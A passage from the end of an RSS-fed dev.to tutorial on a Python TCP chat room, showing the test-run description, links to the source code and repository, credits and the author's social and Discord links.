&lt;p&gt;Here is the fun part of this project! Let’s go for a test run. Just keep in mind that we always need to start the server first because otherwise the clients can’t connect to a non-existing host. Here you can see an example of a chat with two clients (you can also connect with 20 if you want):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sYehUmcF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tt1hog0jifwsn1dn6pzr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sYehUmcF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tt1hog0jifwsn1dn6pzr.png" alt="Demo"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, it works very well! You can now modify and customize your chat however you want. Maybe you want to have multiple chat rooms or maybe you want to have different roles like admin and moderator. Be creative!&lt;/p&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;Here is the source code:&lt;br&gt;
&lt;a href="https://gist.github.com/Yuma-Tsushima07/fcce4f99fe6c91d6eaa1e679236017ea/"&gt;TCP ChatRoom&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Check out my repo as well!!&lt;br&gt;
&lt;a href="https://github.com/Yuma-Tsushima07/tcpchatroom"&gt;https://github.com/Yuma-Tsushima07/tcpchatroom&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I hope you enjoyed this tutorial and you learned something. If you are interested in a GUI version of this chat, please leave a comment. It works quite differently, since it works more with events than with endless loops. Also, if you want to tell me something or ask questions, feel free to ask in the comments! Check out my &lt;a href="https://github.com/Yuma-Tsushima07/"&gt;Github&lt;/a&gt; page , if you are interested in more! Stay tuned!&lt;/p&gt;

&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;

&lt;p&gt;Thank you! Cinnamon1212 (Cinnamon#7617) for this project idea!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check out his Github: &lt;a href="https://github.com/Cinnamon1212"&gt;https://github.com/Cinnamon1212&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Check out our Discord Support Server: &lt;a href="https://discord.gg/DxCvp627AT"&gt;https://discord.gg/DxCvp627AT&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Author: Yuma-Tsushima07&lt;/p&gt;

</description>
      <category>security</category>
      <category>writing</category>
      <category>codenewbie</category>
      <category>python</category>
    </item>
  </channel>
</rss>
